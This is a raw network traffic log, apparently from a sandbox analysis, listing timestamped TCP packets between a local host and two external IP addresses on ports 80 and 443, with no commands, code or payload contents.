Dec 20, 2024 09:12:52.027781010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.027837992 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.027904987 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.027952909 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.028723955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.028773069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.028831005 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.028881073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.029689074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.029736996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.029802084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.029850960 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.030627012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.030750036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.030785084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.030805111 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.031579018 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.031699896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.031753063 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.032524109 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.032582045 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.032646894 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.032690048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.033474922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.033520937 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.033595085 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.033641100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.034446955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.034497976 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.034739017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.034786940 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.035382032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.035540104 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.035586119 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.036334038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.036384106 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.036448956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.036497116 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.037302971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.037424088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.037472010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.037528992 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.038225889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.038275003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.038338900 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.038412094 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.039191008 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.039310932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.039381981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.040138006 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.040184021 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.040250063 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.040297031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.041085958 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.041141987 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.041208029 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.041253090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.042035103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.042079926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.042141914 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.042186975 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.042541027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.042591095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.042622089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.042668104 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.043112040 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.043220043 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.043272972 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.044063091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.044117928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.044172049 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.044219971 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.045000076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.045048952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.045128107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.045172930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.187998056 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.188143969 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.188229084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.188484907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.188628912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.188646078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.188697100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.189415932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.189465046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.189529896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.189582109 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.190361023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.190424919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.190475941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.190630913 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.191386938 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.191539049 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.191589117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.192804098 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.192920923 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.192979097 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.193217993 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.193259954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.193342924 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.193389893 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.194237947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.194291115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.194395065 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.194446087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.195152044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.195245028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.195293903 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.196115017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.196161985 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.196225882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.196274042 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.197058916 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.197108984 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.197154045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.197196007 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.197963953 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.198021889 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.198101997 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.198201895 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.198916912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.199008942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.199047089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.199096918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.199917078 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.200026035 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.200078964 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.200825930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.200882912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.200956106 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.201003075 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.201786995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.201847076 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.201889038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.201932907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.202744007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.202796936 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.202856064 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.203677893 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.203823090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.203875065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.204632998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.204757929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.204807997 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.205591917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.205683947 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.205714941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.205758095 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.206557035 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.206707001 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.206757069 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.207531929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.207583904 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.207593918 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.207628965 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.208452940 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.208523989 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.208594084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.208645105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.209404945 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.209546089 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.209595919 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.210341930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.210392952 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.210453033 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.210500002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.211354971 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.211415052 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.211435080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.211641073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.212239027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.212304115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.212393045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.212443113 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.213208914 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.213310957 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.213315010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.213365078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.214148045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.214212894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.214478016 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.214576006 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.215087891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.215209007 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.215261936 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.216042995 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.216092110 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.216170073 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.216217995 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.217015982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.217073917 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.217132092 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.217185020 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.217957973 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.218024969 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.218060970 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.218106985 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.218895912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.218945026 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.218998909 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.219885111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.219933987 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.219939947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.219985962 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.220810890 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.220860004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.220983028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.221028090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.221738100 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.221791029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.221854925 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.221899033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.222707987 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.222755909 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.222773075 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.222817898 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.223654032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.223845959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.223897934 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.224632025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.224684954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.224754095 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.224797010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.225598097 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.225655079 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.225709915 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.225756884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.226552010 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.226602077 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.226665974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.226711988 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.227494955 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.227617025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.227663994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.228416920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.228466034 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.228539944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.228585958 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.229374886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.229423046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.229480028 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.229526997 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.230341911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.230390072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.230396032 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.230439901 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.231266022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.231487036 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.231534004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.232225895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.232270956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.232343912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.232388973 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.233169079 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.233220100 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.233284950 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.233329058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.234112024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.234226942 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.234226942 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.234266996 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.234787941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.234846115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.234926939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.235784054 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.235836029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.235872030 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.235918999 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.236707926 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.236752033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.236825943 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.236871004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.237672091 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.237718105 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.380141020 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.380198002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.380270004 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.380409956 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.380467892 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.380508900 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:52.380546093 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.380580902 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:52.380589962 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.381201982 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.381254911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.381264925 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.381298065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.382118940 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.382200956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.382251024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.382322073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.383054018 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:52.383075953 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:52.383094072 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.383160114 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.383208990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.383254051 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.383424997 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:52.384020090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.384120941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.384183884 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.384979963 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.385034084 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.385082006 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.385128021 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.385905027 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.385957956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.386037111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.386084080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.386843920 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.386897087 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.386977911 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.387823105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.387871027 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.387923002 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.387967110 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.388746977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.388796091 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.388887882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.388931036 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.389719009 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.389797926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.389841080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.389883041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.390686989 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.390743971 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.390753031 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.390794992 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.391653061 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.391710997 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.391757011 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.392534018 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.392585993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.392638922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.392680883 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.393490076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.393542051 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.393579960 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.393620968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.394423962 CET	80	49874	31.41.244.11	192.168.2.4
